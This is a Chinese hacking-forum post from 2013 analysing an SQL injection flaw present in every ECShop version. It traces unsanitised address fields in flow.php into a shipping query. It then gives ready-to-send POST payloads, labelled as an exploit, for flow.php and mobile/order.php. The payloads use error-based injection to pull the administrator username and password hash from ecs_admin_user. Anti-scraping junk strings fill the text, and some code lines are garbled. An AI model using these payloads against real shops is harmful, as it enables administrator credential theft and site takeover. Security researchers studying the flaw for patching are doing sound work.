找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2114|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
/ c: m" [* V6 M! |. v' E
3 x7 c1 ?6 _4 [  y    漏洞关键文件:& v, k! X5 ]0 v6 a4 J

0 Y) M9 G  _: J) p$ \    /includes/lib_order.php
0 p" z: t+ f- K7 F+ K( P- G
! F* t5 J$ X6 w9 ]    关键函数:
" H+ Q# d) r% k+ C; D" ^* K  u3 u/ E) G+ n' `

9 V( E$ I" z# n2 h
8 H0 u4 Q4 q; i01     function available_shipping_list($region_id_list)
4 ~( d; i0 G4 F! i3 F
. k: ]8 b$ V2 L# ]02 {
! W9 T; O, e3 k: l( n$ |
# c$ B8 J4 {! N* U' j! K1 }03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
( `  N1 }: N. k* g7 ]( m) r* Q5 t4 V
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
5 M" b# ]. G+ ?8 a# Y1 H$ b$ W% A1 m* u: e6 \
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . ; X' m/ D, X, h4 x1 U. J

# _. G6 D  z1 `/ O! ~06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
1 B/ W$ e! k  [; A$ H  s* _8 \8 i7 }& A
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
8 l0 ?9 ^% }5 L6 e1 P( @" T8 B) ^- ^
08             'WHERE r.region_id ' . db_create_in($region_id_list) .
  Y6 W9 w3 c! G
+ y  U0 e. x& d0 o) Y& O: _09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
; ]% D/ b+ B' S
6 n& S. m3 _/ V- U& Z8 {; w0 |10   / O: m5 }* y% a3 J' h! M
  c, F( p! V- X, N1 W' q( b. M
11     return $GLOBALS['db']->getAll($sql); ' H7 ?8 @' _% L- F: h/ {7 S

4 A3 n# c) C# K- B3 |# T12 } . G4 Z( l- E& u

! ?8 S( ~' n% U显然对传入的参数没有任何过滤就带入了查询语句。
" {2 M  I6 h* v% h/ D * N" l& T, M  N% j
下面我们追踪这个函数在flow.php中:
- F$ S9 c" t# n1 S9 \ 第531行:   9 u+ o0 h$ m3 ?, A( K1 O+ C8 K- f

' G8 q  V3 T$ Q( J3 U9 s1 $shipping_list     = available_shipping_list($region); 8 o* l3 c3 l8 n, n% v' ]7 y

% Q$ G  L  z& O / O2 P) n! Y" K* {- J  X
, G3 r3 M2 m# V  H& ~

# a! E* q5 U1 r# p! s* c9 g9 ~9 }4 |: ?
再对传入变量进行追踪:1 q( I0 F! J/ n& c$ j6 Y; [8 p& {
! E/ a8 `9 C% q9 O$ `4 O
第530行:    * r. B. b9 A6 S8 x1 Q7 s! Z
4 O/ t6 A8 F- O  i3 r4 ~7 P8 w6 f
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
) u2 G- z$ [3 s. X9 U2 a, K' h  p1 o. H/ l  f

& G: @5 m* k* _- A7 n+ e  |
  m3 H# o7 |9 }; w! q9 _$ S5 { # o$ }9 S1 b1 ]$ v: w, h0 E8 c0 K0 y

+ F; _4 a8 m" X/ p+ o& V+ v) E! h$ ~9 z第473行:        , G$ Q4 E/ A8 o1 w1 e
4 s* Q" ^( E) \4 L
1 $consignee = get_consignee($_SESSION['user_id']);
% r+ f% f/ U( u( S- ?' m* e/ O9 N# V9 y: Z; z
到了一个关键函数:& a; u) }/ B" G8 G8 V

' x! D" `4 f' A/includes/lib_order.php' P' G' @" @; L) Y0 _8 P/ f

. P3 v* Y& R; R' t' z + {9 }% T, A# C$ H
' E, J% h  ?' w$ c3 P3 r% @, U, w
; o7 W1 ]# b1 J2 \: _0 B9 k$ h2 `
, q9 ~9 M. f5 o. ]$ P2 C
01 function get_consignee($user_id)
% E# G- L5 [% `6 j9 {2 r  n2 v* W2 e$ w" ?% w
02 { 8 F  A* n/ A9 a, ^
8 A; g4 _' }! @: d/ e
03     if (isset($_SESSION['flow_consignee']))
* ^: g  m1 W8 W% N1 o; d; [4 f6 q: l9 b" {- [( e' x4 Q
04     {
, Q& [1 d% b! H, w! x
3 m5 e6 @' L" w, D* w$ E0 o  l05         /* 如果存在session,则直接返回session中的收货人信息 */
1 E" |5 H3 k5 y! e& a0 g! k/ W. J; K5 |4 q
06   ; j* \* o8 ~/ u& l# s

" Q) u9 a1 C" d! n! Z+ z0 A. p07         return $_SESSION['flow_consignee'];
. }5 x0 e  N" r3 @8 \; ^
2 k% y, V/ \& S) y08     }
4 S0 y5 I: C5 `# K5 B
2 O# ^5 Y3 Z, ^7 F8 n09     else
6 |* Z3 k5 d$ L  Y" h" M. T! ?/ S9 G- ~4 K
10     {
7 W- k9 I8 V6 M+ y4 ^  o* ^* u
1 R! Z; A# Z5 @$ K3 M% ]7 C; b7 @1 C11         /* 如果不存在,则取得用户的默认收货人信息 */
+ {8 X+ a" N$ T5 q) d- ?7 C
9 D+ O: A/ R$ K; J, w0 V/ A) R( [+ @, S12         $arr = array(); ) @5 L" R2 }8 Y. ?" u  v5 L$ w
% E" m, ?8 q/ q4 r/ {2 l3 f9 n
13   
4 \" x! r& n$ k2 W
4 c; F: `* ^6 c/ `$ k14         if ($user_id > 0) & y7 }4 `% D' r. T

& e5 E0 K6 S) i& g5 ]6 T15         { 6 X& p- }0 Y, w' }0 z5 C
9 Y2 H9 R. _+ |: O
16             /* 取默认地址 */ ! B  ^/ |2 b2 H3 F$ j
- z, v# M* h- T6 `6 A( ]! L. i
17             $sql = "SELECT ua.*".
8 k1 A, ~0 y1 j* v' @; L' @4 G1 i* K$ E
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
8 J, c: {& O! m; E+ K, @6 [8 G
1 W1 Q  [' D0 l0 f0 k' x19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
: J9 o! Y6 c/ a9 L; E! F
0 o# E! o3 z" l/ z% X20   
* p3 x, |& A/ m! Z# h- l' z6 C+ }/ P  `/ u% h
21             $arr = $GLOBALS['db']->getRow($sql);
( \0 \: z, [2 b% O  d( M4 u/ I) Z( Q8 i3 n
22         } 7 S  ?4 ~' ]: D6 e& g8 `

: ]  y: I: f: f$ U  Z' A23   
, G8 k2 m% ?" G+ j% S, K$ L
. y4 W. K, L4 [' Q4 ]# ?7 Y$ M7 S6 D24         return $arr;
! {8 j! [! z1 X* t3 F' w9 |+ ~9 H8 L
25     }
( ]' t) V/ y" d% U- f/ g7 S% b0 v% D: D9 j1 G* l/ p; A, P
26 }
1 a1 X; B4 ~3 f& j4 N+ \2 n( G; B, H
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
! y4 P5 o8 a3 u0 I
) i" k$ b9 E+ S, Y! [$ a5 Q" A& Z # \' k9 G/ J+ B& a9 A. L6 x; N
# }" G9 V- N+ q/ J9 Y: B5 R
关键点:) o1 m9 [" _, ^$ U5 Z& \
. F: r6 G' `; g  Y  A
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);0 Q4 t. I) U5 `9 {# V: b5 P

7 _: j' s6 f( w6 A* V2 z) q7 N" ?这里对传入参数反转义存入$_SESSION中。9 W6 q6 n; ^0 c. c

3 I4 O) S- o* s. o 3 d, z* f- k# M/ p9 y/ O, U
+ B' [8 N( {# i2 n& H$ b$ ]& `
然后看下:
: ], i( N* b  ?% D* r; s: X7 a& Q: h: z

" a+ y7 y! M6 y) H3 S% v/ r, D7 _$ l
% o% }- X2 j0 Q! ?, w0 a    9 N0 n7 R' p5 Y6 l/ k1 b

% V1 q8 |" c) `6 S% d. [01 $consignee = array(
' ~) J' P" q" m8 P  |1 U5 ~4 x6 j- ]* [2 Z+ y$ t
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), + b+ b) M  o9 t. M+ u; B8 N% ]
5 ?% J+ a% S1 x4 C( e, I
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), + y. {$ _# `' I6 K

- W6 ^3 ~7 c0 y# [04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
! h  Y# H2 z9 C: w2 T1 B6 K7 ^1 B
1 O* F- z, e5 p05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
! j) \1 P/ `0 v3 m6 @- e1 l1 Q5 \& K
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
. h1 T: G2 {) V% G: w' y% g: a# k' q& O# g$ J! z+ q& @
07         'district'      => empty($_POST['district'])   ? '' _POST['district'], 3 G0 l6 [- K+ d7 x# n: b
/ ]5 W' N( u& j3 U  D& r! m
08         'email'         => empty($_POST['email'])      ? '' _POST['email'], 3 x% N( y( F! c! }/ J# ^3 L
0 T: [0 u9 T! m$ `( {5 k
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
. Q2 }( Y+ Z# O; {$ C5 b
3 G  i" o, E  L0 `3 G3 A( p( v: @10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), 5 |/ W( G: K$ i3 `

8 N( S, ?; u+ \2 E11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
, q# E  N# D# M: n. ~7 n
3 @5 L( D# T3 X0 n& i  S  i12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
9 {, ?1 x; \3 O7 a$ w* e5 |: p! {( b6 ]+ F3 G4 w
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], ; A" r  Y' U1 ~6 m' g

1 P: t6 z  m, V6 x0 S4 K14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], % W) k( O8 a1 O
9 F! u' H- D# \  f' p8 D; j
15     );
' q! ?( h( v% r& O  m% D. e8 i0 v) e2 h7 J  l- O, F& H
好了注入就这样出现了。/ j; W  ~* `" Q' u  a+ ~  ]! X

- J  X2 G2 p2 H! _: O' A==================
' U, ?) c5 O8 U# y% C
' o( ~" S5 Q+ a1 _4 i注入测试:
, F3 f/ l7 F5 P( ~5 y
& I1 K- y3 b- R; B+ l环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)& E8 T+ G/ w  \" O
; O7 }9 W, E# d3 y1 l# z, \' B6 a
测试程序:ECShop_V2.7.3_UTF8_release1106- z; I; A8 R. G1 D+ D9 n7 V

' ?% H$ N4 _3 ]; S8 }3 R3 ?. E
7 @2 T( Q( H5 y5 f( O: i% e* x6 U  y0 S% n
1.首先需要点击一个商品加入购物车
: g% b9 l2 t) }
! \1 \5 ]/ j7 T0 W# ]2.注册一个会员帐号
% A$ q* }; T! J6 G9 {5 L9 G  t; o6 e. d4 k4 I/ }7 x
3.post提交数据2 v) a$ Z8 g. `. u" ~9 Y, J
% }. S: @" J% d& u- {% w9 c" F# }% ]
$ O0 o  Z& e) O+ L  a

& ?6 p8 s2 Y) e( D% E2 Z' T/ d1 http://127.0.0.1/ecshop/flow.php 9 n' H' ^5 Q9 t8 {1 A7 j  P
: U. o3 V. Y( [" ?0 G
2   
; Q. n+ N1 W+ U8 R
9 Z7 K$ j/ |% _' t. }3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= ' k* Q9 t' {" Z, ?5 [
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
% G2 e: C6 \1 d3 T) h+ [5 A
- ^  I5 D" P& o我们搜寻关键函数function available_shipping_list()
2 v4 v* G8 P- b+ Z: l7 e* @% ?' v
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同) `; j% X' ^4 Q: ?% a

' h! Q* ]8 Z0 P; I) f( k. ~  k1 }利用exp:7 y: ]' v/ a- A# B* @4 F3 A
- i! @8 _" O! o7 j
1.点击一个商品,点击购买商标
4 @9 Y! v* F! ^% |+ \! a9 C& |+ P6 g5 C6 d0 F8 E+ G
2.登录会员帐号; `  J7 b1 {8 k7 n, `1 ~

, R) h" @# p2 ]7 _! l: P; ^) i3.post提交:
' b/ d, O- n3 i' V, x5 q
3 o. {5 w: b3 o1 X1 Xhttp://127.0.0.1/ecshop/mobile/order.php
; O( ~  [3 }/ e! O0 a% t
% L) u- {) @" @   s$ V4 c; z+ i9 I' n
5 H5 [0 [4 C" K, E1 o6 |# E5 F
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=  u2 ^1 M' r3 E8 P9 V4 ^2 H1 q
8 f2 _9 c5 I, J* c" x* N+ j  ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表